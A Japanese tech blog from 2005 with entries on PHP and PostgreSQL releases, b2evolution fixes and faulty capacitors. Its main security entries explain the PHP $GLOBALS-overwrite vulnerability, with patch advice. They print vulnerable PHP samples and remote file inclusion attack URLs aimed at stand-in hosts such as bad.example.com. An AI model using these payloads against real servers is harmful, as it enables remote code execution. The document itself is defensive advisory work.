PHP 5.1.1がリリースされました

標準でDateクラスはまずいでしょう、と思っていたのですがやはりクレームが沢山ありました。Dateクラス問題解消のために5.1.1がリリースされた、と言っても良いと思います。safe_modeがデフォルトOnになったにも関わらずcURLのsafe_mode時の動作がまずい、HTTPダイジェスト認証の動作が異なる、という問題も速いアップデート版リリースの一因です。

備考1:標準でDateクラスが定義されるようになった、と言うことは自前でDateクラスを持つコードは5.1では動作しない事を意味します。

備考2:普通はDIGEST認証は使いません。クライアント任せの部分があり互換性に問題があるからです。とは言ってもイントラネットなどでクライアント決め打ちでDIGEST認証を使っている環境では動作の違いは致命的です。

追記:
getenvでエラーが出たのは–enable-safe-modeを指定していたのと同じ状態だったようですね。わざわざこのオプションを付けた記憶はないのですが(というより指定してコンパイルした事がない)ちょっと条件は分からなくなってしまいましたが–with-apxs2を指定しているのにlibphp5.soが生成されなくてmake installでlibphp5.soが所定の場所にインストールされず、ハマリそうになりました。生成された./configureスクリプトが変だったのかな?

不良コンデンサ問題

CNet Japanによると不良コンデンサが大きな問題になっているようです。

今回問題になったのは、色が黒と金の2色で、長さ約2.5センチの低ESR(等価直列抵抗)アルミニウム電解シリンダというキャパシタで、側面に HN(M)およびHM(M)のマークがあり、上部には「X」の文字が刻印されている。このキャパシタは一部のマザーボードやビデオカード、さらにPC、モニタ、ビデオデッキ、テレビなどの電源にも採用されている。

7年くらい持つはずが3,4年で不良になるそうです。気になる方は問題のコンデンサの写真も載っています。iMac G5, Dell OptiPlex, HP wx等で問題のコンデンサが使用されている事が分かってるそうです。

これらの不良キャパシタには、膨張、突出、流出、硬化などの現象が発生し、その結果画面の表示がおかしくなったり、断続的にシステムが停止してしまうことが明らかになっている。

調子が悪くなったらHDD、メモリチェック、のみではなくコンデンサチェックも必要なのですね…

Google Analytics – 試してみようと思ったら

最近発表されたGoogle Analyticsを試してみようと思ったらニーズが多すぎて利用制限をしていました。

internet.com
によるとGoogle Analyticsには高機能なアクセス分析機能が提供されているらしいですが暫らく待たなければならないようです。気づくのが遅すぎました…

PHP 5.1.0がリリースされました

PHP 5.1.0がリリースされました。

アップグレードガイド(必読)
http://www.php.net/README_UPGRADE_51.php

変更箇所
http://www.php.net/README_UPGRADE_51.php

追記:5.1.0がリリースされたばかりですが、5.1.1のリリースも近いかも。

カレンダーナビゲーションリンクの作り方

人が作ったシステムを見ていると色々気付かされることがあります。b2evolutionのカレンダーなどのナビゲーションリンクはエントリが無い未来・過去の日付もだどれる様になっています。私は、特定の場合を除き、通常表示できるデータがある範囲だけリンクが表示されるように作ります。

このb2evolutionのナビゲーションの仕様はデータベースには優しい仕様ですが、検索エンジンのインデックス作成robot等には優しい仕様ではありません。例えば、あるロボットは3000年のエントリくらいまで検索していってくれます。当然役立つ情報はなく「申し訳ありません。表示する投稿がありません…」と表示されるだけです。アクセス統計情報、SEO的にも問題ではないかと思います。

データベースと連動したサイトを構築する場合にはロボットによる無限検索のリスクを考えないとならないです。データベースにも検索エンジンにも優しいカレンダーナビゲーションにするにはデータベースに新たなエントリ追加があった場合にナビゲーション用データをキャッシュする仕組みにすると良いと思います。

b2evolutionのコメントスパム削除

このブログ(b2evolution)にコメントやトラックバックがあった場合、メールで通知されます。しかし、通知されたメールに記載されている削除/編集用URLをクリックしても必要なデータが表示されません。コードを詳しく追いかけていないので根本的な対処ではありませんが、以下の変更でメール記載されたURLでコメント/トラックバックを表示し編集できるようになります。これでスパマーのキーワード登録も簡単になります。(b2evolutionは結構前からスパムデータベースを共有できるようになっています)

admin/_edit_showposts.phpの変更箇所(行頭の数字は行番号)

59 //$MainList = & new ItemList( $blog, $show_statuses, $p, $m, $w, $cat, $catsel, $author, $order, $orderby, $posts, $paged, $poststart, $poste nd, $s, $sentence, $exact, $preview, '', '', $timestamp_min, $timestamp_max );
60 $MainList = & new ItemList( $blog, $show_statuses, $p, $m, $w, $cat, $catsel, $author, $order, $orderby, $posts, $paged, 0, $postend, $s, $se ntence, $exact, $preview, '', '', $timestamp_min, $timestamp_max );

私はあまり使わないのですが「編集」のページで以前に書いたエントリを表示出来なくなるようです。他にも副作用があるかも知れません。取り合えず溜ったコメント/トラックバックスパムの削除が面倒だったので上記の変更をしました。

ところで0.9.1からrel=”nofollow”が付く、とb2evolutionのサイトに記載されているのですがrel=”nofollow”はメンバーのコメント等にのみ付いているようです 🙁

構造計算書偽造とインターネットに接続されたシステムの類似点

マンション等の構造計算書を偽造した事件が大きな話題となっています。偽造した構造計算書を作成した設計事務所の設計士が「コストを安くしないと仕事をもらえないと思った」、建築業者が「施行主の指示の問題の建築事務所を利用した」等を発言していると聞きインターネットに接続されたシステムに類似点があることが気になりました。

本来Webサイトは「安全」である事に重点をおいて構築されなければならないですが現実はそうではありません。インターネットのシステムの場合、他人の生命に影響するようなシステムはほぼないこと、財産に大きく影響するシステムもネットバンキングやネット証券のようなごく一部のシステムしかないことから「安全」に対してそれほど大きな注意が払われていない事がよくあるようです。実際、比較的有名なサイトのセキュリティ管理が、ごく基本的なセキュリティ管理さえ行わず、非常に悪い状態にあった事例が多くあります。少し古い話になりますが、日本の著作権関連会社の代表者が、安全なWebサイトでなければサイトを公開できなければ中小の企業はWebサイトを公開できないではないか、といった旨の発言をしたという記事もありました。”組織として中小なんだからセキュリティ対策が出来ていなくても当然”と開き直ってよい物ではありません。建物が倒壊すると建築主以外にも被害が発生するように、インターネットシステムの安全性が確保できていないと他人を攻撃する踏台にされ他人に大きな迷惑をかける事になる場合もあります。

安全なシステムを構築するには、安全性を考慮しないシステム構築より多くの費用が必要となるのは明らかです。しかし、Webシステム開発の場面でも「コストを安くしないと仕事をもらえないと思った」や「発注者の指示で必要なセキュリティ対策が施せない(施さない)」ケースは非常に多いのではないかと感じます。システム構築は建物の建築とは違い安全性が十分であるか確認する仕組みが無いため、より状況が悪い事はこの業界の方でなくても分かると思います。

プロによって作られた物が「安全」であることが当り前ではないという類似点が構造計算書偽造事件とインターネットのシステムにあります。安全性に問題が発生する背景にも類似点があります。この状況を変えるには発注者と受注者、”両方”の意識を変えなければなりません。

# プロが作っている物でも驚くような仕様になっている場合
# があります。インターネットとは関係の無い古い例で
# すが、1985年以前に作られた銀行のキャッシュカードには
# 磁気テープにカードの暗証番号が保存されていた物がある
# そうです。
# インターネットのシステムでこれに類するような事例は多
# くあります…

Web 2.0

メモとして。Tim O’ReillyのWeb 2.0論文の邦訳がCNet Japanに掲載されている。

元はこちら
http://www.oreillynet.com/pub/a/oreilly/tim/news/2005/09/30/what-is-web-20.html

リンク:
http://www.oreillynet.com/pub/a/network/2005/10/27/distributing-the-future.html
http://www.onjava.com/pub/a/onjava/2005/11/02/community-of-web-20.html

新しいようで古いフィッシングの手口

”「捨てアド」取りを目的とした新手のフィッシング”としてIT Mediaで紹介されていましたが、新しい手口ではありません。CAPTCHA方式の人間認証(プログラムではなく人間であることを確認する事。このような用語は見た事がないので私製造語かも)を破る方法として同様の手口が即座に考案されています。私がこのブログで紹介した(「グラフィックテキストも安全ではない」)のは最近の事ですが随分前から知られている手口です。

IT Mediaの記事で目新しいのはわざわざ攻撃が発覚しやすい銀行サイトを利用している事ですね。しかし、私がスパマーだとしたら銀行サイトやその他まともはサイトをフィッシングには利用しないと思います。「私はスパマーだ。見つけてくれ」と言っているような物ですよね。

マルチブート環境の構築ページを更新

WikiにGRUBのChainloader(別のブートプログラム呼ぶ機能)を利用したマルチブート環境構築のページがあります。デバイスIDが間違っていた部分がありました。比較的参照数も多いようなのでここでも修正した事を書きます。もし参考にされた方がいらしたら修正したのでご覧ください。

私のデスクトップPCには3、4つのLinuxディストリビューションがインストールされているのが普通の状態なのでchainloaderを使ったマルチブート環境にしています。前にGoogleで検索してもこの手のマルチブート環境の構築手順が書いてなかったのでこのページを作りました。WindowsのNTLDRやGRUBの/bootパーティション共有を使ったマルチ・デュアルブートよりはるかに使いやすいです。興味のある方は是非どうぞ。

VMware Playerで新しいVMの作成

VMware Playerで新しいVMの作成、と言う話ですがこの問題(?)はVMwareは知りつつVMware Playerをリリースしているのだと思います。VMware Playerのみでは色々使いづらいので本格的に使うにはVMware Workstationが必要になり、さらにサーバで使うにはGSX Serverなど使う、などのマーケットがあるのでそれで良い、という考え方なのでしょう。

元になる仮想マシンのファイルさえあれば、ファイルをコピーした後に新しいOSをCD/DVDデバイスからインストールする、という単純な手順で新しい仮想マシンに新しいOSをインストールできます。

私がVMware Playerを使ってみた感想
http://blog.ohgaki.net/index.php/yohgaki/2005/10/22/vmwareplayer

register_globals=onが必要なアプリ対策

register_globals=onで運用しなければならないアプリケーションはまだ結構あるようです。古いPHPには

http://blog.ohgaki.net/index.php/yohgaki/2005/11/09/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp_2

の$GLOBALS改ざん問題がありますが、アプリの動作検証などには時間が必要です。snortを利用してIPSを作る方法もありますがPHPで対応する簡単な方法を紹介します。(注:完全な対策ではありません)

b2evolution日本語パッチ

b2evolutionは国際化を考えてはいるのですがマルチバイト文字処理は不十分です。

http://cha.s57.xrea.com/blogs/index.php/2005/09/17/p74

に日本語環境用の変更箇所がまとめられているのですが、パッチがある方が便利なので上記のURLの変更箇所をパッチにまとめました。

このブログもやっと日本語の文字化けが無くなります。

PHP 5.0.5の参照エラーを回避するパッチ

PHP 5.0.5の場合、不必要なFatalエラーが多発します。

Fatal error: Only variables can be passed by reference in
/home/yohgaki/public_html/pukiwiki-1.4.5_1.orig/rules.ini.php on line 26

私も最初は本気でこのような仕様にするつもりか、と思いましたが5.0.6では修正されます。

パッチを当てることでPHP 5.0.5で発生するエラーを回避できます。

ところでPHP 5.0.xはMMAPの利用方法にバグがある為、2MB以上のファイルを取り扱えない場合があります。この問題にはこちらのパッチをどうぞ。

PostgreSQL 8.1リリース

実はリリースされていた事は知りつつスルーしていたのですが微力でも宣伝を。

PostgreSQL 8.1は本当に速いでも紹介していたPostgreSQL8.1がリリースされています。

速いだけでなくうれしい新機能も盛り沢山です。是非使ってみてください。

新しい、先進的データベース機能

ロール:PostgreSQLがデータベースロールをサポートするようになりました。ロールにより、データベース権限が複雑に関連し合うような大規模なユーザ管理が簡単に行うことができます。

IN/OUTパラメータ:PostgreSQLの関数がIN、OUT、INOUTパラメータをサポートするようになりました。これにより、J2EEや.NETアプリケーションにおける複雑なビジネスロジックのサポートが改良されました。

2相コミット(2PC:Two-Phase Commit):2PCはWAN環境におけるアプリケーションで長い間待ち望まれていた機能です。広域ネットワーク上に分散したサーバ間でACID特性を持つトランザクション処理を可能にします。(訳注:「ACID」とは、Atomicity(原子性)、Consistency(一貫性)、Isolation(隔離性)、Durability(耐久性)の頭文字です。)
性能の改善

マルチプロセッサ(SMP)環境における性能改善:バージョン8.1におけるバッファ管理機構は、8-way、16-wayシステムやデュアルコア、マルチコアCPUのサーバにおいて、プロセッサ数に対してほぼリニアにスケールします。

ビットマップスキャン:インデックスは状況に応じて自動的にメモリ内部でビットマップに変換されます。この機能によって、大規模テーブルに対する複雑な問い合わせのインデックス検索が20倍以上高速化されます。また、複数列に対するインデックスを作成する必要性が減少し、データベース管理が簡単になります。

テーブルパーティショニング:バージョン8.1では、制約による排他といわれる技法を用いて、問い合わせプランナが大規模なテーブル全体をスキャンしないようになりました。他のデータベース管理システムにおけるテーブルパーティショニング同様、これにより数ギガバイトのテーブルに対する性能とデータ管理が改良されました。

共有行ロック:PostgreSQLの「行レベルロックよりも優れた方法」に、共有行ロックの機能を追加することで、より高い同時実行性をサポートできるようになりました。共有ロックにより、大量のOLTPを必要とするアプリケーションでの挿入・更新の性能が向上するはずです。

Reliable Computer Solutionsのデータベース管理者であるMerlin Moncureは次のように述べています。「PostgreSQL 8.1によって(私たちの)Opteron デュアルプロセッサ運用用サーバで非常に大きな性能向上が実現しました。具体的にいうと、CPU負荷において20%、サーバの負荷特性においては20から40%もの性能向上が見られました。」

この他にも120項目以上におよぶ改良が行なわれています。詳しくは8.1 プレスキットを参照してください。

ダウンロード: http://www.postgresql.jp/PostgreSQL/download.html
日本PostgreSQLユーザ会: http://www.postgresql.jp/
PostgreSQL Project: http://www.postgresql.org/

PHPに重大な脆弱性(PHP4.4.0以下、PHP5.0.5以下) – まとめ

追記 2007/11/06: 現在のリリース版(4.4.7, 5.2.4)ではこの脆弱性は修正されていす。これより以前のPHPでも修正されていますが、別の脆弱性があるので最新リリース版の使用をお奨めします。

追記:PHP 5.1.1、PHP 5.1.2にはPHP 5.1.0で追加された対策がなぜか削除されています。PHP5でosCommerce等、register_globals=onが必須のアプリケーションやimport_request_variable関数を使用したregister_globals=off対策を行っている古いPHPスクリプトなどを動作させる場合には注意が必要です。register_globals=onが必要なアプリケーションへの対処が参考になります。

よろしければWebサイトセキュリティ対策入門も参考にしていただけると幸いです。リンク先に目次と書籍の紹介を記載しました。


Hardened-PHP Projectのセキュリティアドバイザリ

http://www.hardened-php.net/advisory_202005.79.html (以下アドバイザリ)

および

http://www.hardened-php.net/globals-problem (以下ホワイトペーパー)

について誤解があったため混乱させてしまったので調査した結果のまとめを書きます。結論から言うとこのアドバイザリはregister_globals=on環境のみ影響を受けると考えられます。ホワイトペーパーで指摘されている$GLOBALS書き換えによるコードの挿入等のコード実行を伴うセキュリティ上の問題は、アドバイザリによって指摘されている$_FILESの初期化時に$GLOBALSを上書きできる事により発生する場合もあります。ユーザが記述したコードが原因で$GLOBALSを書き換えれる場合もあります。
(ホワイトペーパーでは$_FILES以外に、古いPHPバージョンの$_GET/$_POST/$_COOKIEの$GLOBALS書き換え問題についても指摘しています)

2つの問題を同時に説明すると混乱の元ですので別々に説明します。攻撃例を説明した方が解りやすいので私が典型的と考えた攻撃例も付けました。

問題1 -「$_GET/$_POST/$_COOKE/$_FILESの初期化によって$GLOBALS配列が上書きされる問題」
不具合:register_globals=on設定の場合、$_GET/$_POST/$_COOKIE配列の初期化に問題があり$GLOBALS配列を書き換えてしまえる。(PHP 4.3.10以下、PHP 5.0.3以下)register_globals=on設定の場合、$_FILESの初期化に問題があり$GLOBALS配列を書き換えてしまえる。(PHP 4.4.0以下、PHP 5.0.5以下)

この不具合の影響:例えば、システムが設定する$_SERVER[REMOTE_ADDR]が信頼できなくなりPHPレベルでのIPアドレスベースの認証等は役に立たなくなる。$_SERVER[SCRIPT_FILENAME]をライブラリパス指定に利用している場合、リモートスクリプト実行が可能になる場合がある。

備考:この問題PHPが自動的に初期化する$_GET, $_FILES等の配列初期化時に発生します。$_SERVERの改ざんの影響を除くと、グローバル変数を利用する前に初期化するようプログラムされている場合には影響を受けません。

問題1を利用した攻撃例 -「$_SERVER[‘SCRIPT_FILENAME’]の改ざん」
スクリプトのライブラリへのPATHを指定する為に$_SERVER[‘SCRIPT_FILENAME’]等を利用している場合、スクリプトの内部構造を知らなくてもブルートフォース攻撃でサーバ上のPHPスクリプト対してリモートスクリプトの実行を試みることが可能となる。

問題となるようなコードの例

<?php
// 呼び出されたスクリプトのディレクトリを取得
define(‘LIBPATH’, dirname($_SERVER[‘SCRIPT_FILENAME’]) . ‘/lib/’);

// $_SERVER[‘SCRIPT_FILENAME’]はサーバが設定する値なので信頼できる
// はずだが丸ごと$GLOBALSを書き換えられた場合信頼できない。

// ライブラリの初期化
include(LIBPATH . ‘init.php’);

// 攻撃者はLIBPATHに”http://badserver.example.com/bad-script.php\0″
// 等を設定してリモートスクリプトを実行できる
?>

問題2 -「PHPスクリプト中で$GLOBALS配列が上書きされる問題」
不具合:register_globals=on設定の場合、ローカルスコープでもimport_request_variables関数、extract関数、parse_str関数、foreach等で$GLOBALS配列の書き換えが可能となる。グローバルスコープではregister_globals設定に関わらず$GLOBALS配列の書き換えが可能となる。

この問題の影響:既に初期化済みのグローバル変数が汚染された結果としてリモートスクリプトの実行などが可能となる場合がある。

備考:効果的な攻撃には、攻撃者がスクリプトの内部構造を知っている必要がある。ホワイトペーパーにあるようにPEAR.phpも攻撃の対象となる。少なくともPHP 5.0.4ではregister_globals設定のon/offに関わらずmport_request_variables関数、extract関数、parse_str関数を利用しても$GLOBALS配列のローカルスコープ(関数内)での書き換えはからは保護されます。foreach等による$GLOBALSの書き換えも保護されます。しかしグローバルスコープではregister_globals=offであっても保護されません。

問題2を利用した攻撃例 -「$GLOBALS変数の改ざん」
$GLOBALSの改ざんによりPEAR.phpを利用しリモートスクリプトを実行する

問題となるようなコードの例

<?php
// PEARライブラリを初期化
include ‘PEAR.php’;

// 古いコードの実行のためにregister_globals設定に関わらずユーザ
// 変数をグローバルスコープにインポート
// (このようなコードがある事自体がセキュリティホールですが例として)
import_request_variables(‘gp’);

// 本来はシャットダウン関数として登録するつもりのない関数
function bad_function() {
// register_gloabls=offが前提。$GLOBALSへのアクセスは安全(なはず…)
include $GLOBALS[‘some_path’] . ‘/some_file.php’;
}

// 攻撃者は 関数引数がinclude/requireに利用されている関数を
// $GLOBALS[‘_PEAR_shutdown_funcs’]
// に攻撃用の外部スクリプトを呼び出すよう
//http://target/?GLOBALS[_PEAR_shutdown_funcs][0]=[bad_function][]&GLOBALS[some_path]=http://bad.example.com/bad.php
// 等としてリモートスクリプトを実行する。
?>

攻撃には色々なバリエーションが考えられます。例えば、画像ファイルのアップロードをサポートしているサーバの場合で画像が保存されているパスが判っていると、allow_url_fopen=offに設定されていても攻撃が可能になります。細工した画像ファイルをアップロードしローカルの画像ファイルとして保存されるファイルにPHPスクリプトを埋め込み、ローカルファイルシステムから攻撃用のスクリプトを読み込む攻撃が可能となります。
(PHPスクリプトで画像形式をチェックしていてもほんの少しファイルのヘッダ部分を加工するだけでPHPスクリプトを画像ファイルとして取り扱わせる事が可能です。)

この様に特定の条件を満たせば比較的簡単にリモートからの任意スクリプトの実行攻撃が可能になります。「register_globals=onでも安全にプログラムできる」という議論がありましたが古いPHPでregister_globals=onで安全なPHPスクリプト、それもある程度複雑なPHPスクリプトを書くのはかなり難しいと思います。さらに古いPHPのregister_globals=onサポートには非常に大きなセキュリティホールがあったと言えます。古いPHPでregister_globals=onで運用しているWebサーバの危険度はかなり大きいと言えます。

追記:今時register_globals=onが必要なオープンソース製品は無い、と思っていたのですが見つけてしまったので追記します。register_globals=on設定が必要なオープンソース製品の場合はプログラムの内部構造が公開されているため脆弱性があるPHPで運用するのは無謀です。ある製品のソースをさっと斜め読みしたのですがリモートスクリプト実行が可能となる箇所を簡単に(約5分で)見つけることが出来ました。

PHP 4.2以降はregister_globals=offがデフォルト設定です。register_globals=offで運用している限り大きな影響は無いと思いますが、一部の古いスクリプト実行の為に仮想ホストでregister_globals=onになっていたり、不適切なimport_request_variables関数などの使用が無いか確認する方が良いと思います。

参考までに主なPHPの脆弱性をリストアップしました。比較的最近、addslashes関数に致命的なバグも見つかっています。escape_shell_args関数やpg_escape_string関数等を適切な関数を利用していれば良いのですが古いスクリプトではaddslashesが利用されている場合があります。SQLインジェクション等に注意が必要です。strip_tags関数にも同様のバグが見つかっています。strip_tags関数でクロスサイトスクリプティングを防いでいるサイトも要注意です。

最後に、register_globals=OffでPHPを運用し、古いPHPスクリプトに対して安直なregister_globals=Off対応を行っていないWebサイトの管理者の方には無用に大きなご心配をおかけした事をお詫びいたします。

参考:
PHPの脆弱性リスト
http://wiki.ohgaki.net/index.php?PHP%2F%C0%C8%BC%E5%C0%AD%A5%EA%A5%B9%A5%C8
簡易な対策
http://blog.ohgaki.net/index.php/yohgaki/2005/11/12/register_globals_ona_ai_eb_a_oa_ca_a_oam

過去の関連エントリ
http://blog.ohgaki.net/index.php/yohgaki/2005/11/03/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp_1
http://blog.ohgaki.net/index.php/yohgaki/2005/11/02/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp

PHPの現行リリースに重大な脆弱性(PHP4.4.0以下、PHP5.0.5以下) – その2

追記:まとめ用のエントリも追加しました下記URLもご覧ください。

http://blog.ohgaki.net/index.php/yohgaki/2005/11/09/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp_2


まず先のブログエントリで私が誤解していたため解りづらい状態になっていました。register_globals=offであればアドバイザリ(http://www.hardened-php.net/advisory_202005.79.html)の影響は受けません。この場で深くお詫びいたします。

いくつかのパターンが考えられますが今回Hardened-PHPプロジェクトからのアドバイザリで指摘されている問題によって影響を受ける環境は次のようになります。

影響を受ける環境1

  • register_globals=on に設定しているPHP4,PHP5
  • 未パッチのPHP – PHP 4.4.0以下、PHP 5.0.5以下
  • http://www.hardened-php.net/advisory_202005.79.html

影響を受ける環境2

  • parse_str関数を1つの引数のみでユーザが送信したデータに対して使用した場合
  • 未パッチのPHP – PHP 4.4.0以下、PHP 5.0.5以下
  • http://www.hardened-php.net/advisory_192005.78.html

アドバイザリより参照先とされたリンク先の問題の方が問題です。安全なプログラミングをこころがけているプログラマであれば脆弱なコードを書くことはないと思いますが、後で影響を受ける環境/プログラムについてもう少し解りやすく記述します。

http://www.hardened-php.net/globals-problem

影響を受ける環境3

  • import_request_variables等を使ってスコープ内にユーザが送信した変数を初期化しているプログラムを使用している(実装の違いからPHP4とPHP5、パッチの有り無し、バージョン、global_register設定で影響範囲が違う)

環境1のregister_globals=offはPHP4.2からのデフォルトであるため現在register_globals=onで運用しているシステムは無いと思いますが、register_globals=onでなければ動作しないアプリケーションの場合、直接影響を受けるので直ぐにアップデートが必要です。環境2のアドバイザリは事例が限定されていますがregister_globals=off設定でもregister_globals=onに変えてしまう脆弱性です。parse_str関数を引数1つのみで使う事は無いと思いますが一旦register_globals=onに設定が変わるとプロセスが終了するまでそのままになってしまいます。環境3はPHP本体の脆弱性とPHPスクリプトに作ってしまう脆弱性です。

Stefanさんの環境1に対するアドバイザリがCriticalとして設定されているのは次の理由からと考えられます。

  • 問題が発見されるまでは安全と考えられていたグローバル変数を利用したコードが危険なコードであること
  • PHP 4.4.1以前に添付されているPEAR.php等が攻撃に対して脆弱であること
  • 古いPHPとコードと使用している組織が多いこと
  • ワームなどが発生する可能性があると考えていること

# 環境2のparse_str関数の問題がLowレベルのアドバイザリとしてリリースした事
# から考えると環境1をCriticalレベルのアドバイザリとしてfile uploadの問題
# を取り上げるのはどうかと思います。言い訳になりますが同時に出されたアド
# バイザリのレベル、参考リンクと必要なパッチを見て誤解してしまう、という
# 失敗をしてしまいました。

典型的な環境3のようなプログラムはregister_globals=onである事を仮定していたレガシーなコードをregister_globals=off環境でも動作するように修正したプログラムと思います。新しいプログラムでもimport_request_variables関数等を利用した古いプログラミングスタイルのプログラムは脆弱になります。import_request_variables関数を利用しなくても自前でforeach文などでユーザ入力をスコープ上に展開した場合も脆弱になります。(hardened-phpの場合、このようなケースでも対応しているそうです)

対策としてはPHP本体とPEARをバージョンアップしできる限り安全な状態も必要ですが、PHPコードの再検査、特にレガシーなPHPスクリプト、を行い危険なユーザ変数のスコープ(クラス、ローカル、グローバル全て)への代入が無い事を確認する必要性があります。この問題をPHP本体のみで対処できれば良いのですがすべては望めません。

確かにアドバイザリにあるようなPHP本体の脆弱性が影響する部分もあるのですが、ホワイトペーパーで指摘されているユーザのコード(PHPで書いたスクリプト)の方が問題と思います。上記の様なコードは非常に危険であるため古いコードには十分注意が必要と思います。

PHPに重大な脆弱性(PHP4.4.0以下、PHP5.0.5以下)

このページ情報は不正確です。このページを参照された方は

まとめ
http://blog.ohgaki.net/index.php/yohgaki/2005/11/09/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp_2

を参照して頂けるようお願いいたいたします。

PHPの脆弱性リスト


PHPに深刻な脆弱性がある事が発表されました。今まで見つかったPHPの脆弱性の中でも「最悪」の脆弱性です。全てのPHPユーザは今すぐ対処を行う必要があります。

http://www.hardened-php.net/advisory_202005.79.html
http://www.hardened-php.net/advisory_192005.78.html
http://www.hardened-php.net/globals-problem

PHP4とPHP5で多少影響範囲が異なります。詳しくはオリジナルのアドバイザリと脆弱性の説明を読んでください。この脆弱性は非常に危険です。特にオープンソースのPHPアプリケーションを使用している場合、速やかに対処される事をお勧めします。

PEARを利用していない場合PEARファイルを削除するなどの対処も、一時的には、有効な対策になると思います。
# この対策は脆弱性をほんの少し隠すくらいの意味しかありません。
## ワームなどに利用される可能性が高いPEAR.phpにアクセスさせない為
# PHP本体をアップグレードしないと根本的な対策となりません。

PHP4はPHP4.4.1にアップグレードすれば大丈夫です。PHP4.4.xはソースの埋め込み定数参照の仕様が変更されているためプログラムが動作しなくなることがあります。(念のため)

WikiにPHP 4.3.11、PHP 5.0.4用とPHP 5.0.5用のパッチを載せました。

http://wiki.ohgaki.net/index.php?PHP%2Fpatch%2F%24GLOBAL%CA%DD%B8%EE%A5%D1%A5%C3%A5%C1

PHP5.0.5はPHP4.4.0と同様に埋め込み定数参照の仕様が変更されています。PHP 4.3 -> PHP 4.4と同じ互換性問題がPHP 5.0.4 -> PHP 5.0.5で発生します。この為PHP 5.0.4とPHP 5.0.5の両方を用意しました。

パッチを見れば判りますがPHP 5.0.6となるCVSのPHP_5_0ブランチにはこの変更は組み込まれています。

脆弱性の説明から

Impact of GLOBALS overwrite

The impact of this kind of vulnerabilities is very high, because the problematic code seems to be secure unless you know about this behaviour of PHP and therefore very many applications are vulnerable to this problem. Additionally it is problematic, that the heart of PEAR (PEAR.php) also suffers from this vulnerability in PHP, although their code is written in a way that should be safe onder normal circumstances.

According to PHP usage statistics 71.03% of all servers, that announce a PHP4 version within their HTTP headers, are still using PHP <= 4.3.10. This actually means that most of the servers out there are running with old versions of PEAR where a application gets automatically vulnerable if it includes PEAR.php and is running with register_globals turned on. And this also means, that any PHP application that suffers from a local file include vulnerability can be easily turned into a remote code execution vulnerability by simply including the local copy of PEAR.php, that is usually in standard (or easyly guessable) paths. Additionally the PEAR directory is often trusted and therefore added as safe_mode_include_dir or to the open_basedir, so that it is even possible to include PEAR.php if SAFE_MODE or open_basedir is used to secure the system.

In the end it is simply unknown how many PHP applications suffer from these problems, because the problem is often overseen, widespread and unknown to a lot of security auditors. And with PEAR.php and vBulletin there are already two very big names on the list of affected applications.

要約すると

– この脆弱性は非常に危険
– さらに悪いことにはPEAR.phpもこの脆弱性の影響を受ける
– 世の中にはPHP 4.3.10以下のサーバが多くある
(注:4.3.10以下はさらに危険。4.3.11で$_GET/$_POST/$_COOKIEの脆弱性が対処されている)
– PEAR.phpのインクルードパスは信頼されている場合が多く、safe_mode, open_basedirによる保護が効かない
– 影響を付けるシステム、アプリケーションは数え切れないほど多い

PHP4ユーザは少なくとも今すぐPHP 4.3.11にアップグレードし、さらに$_FILESの脆弱性を埋めるパッチを適用するべきです。

PHP5ユーザはPHP 5.0.4またはPHP 5.0.5にアップグレードし脆弱性に対するパッチを適用するべきです。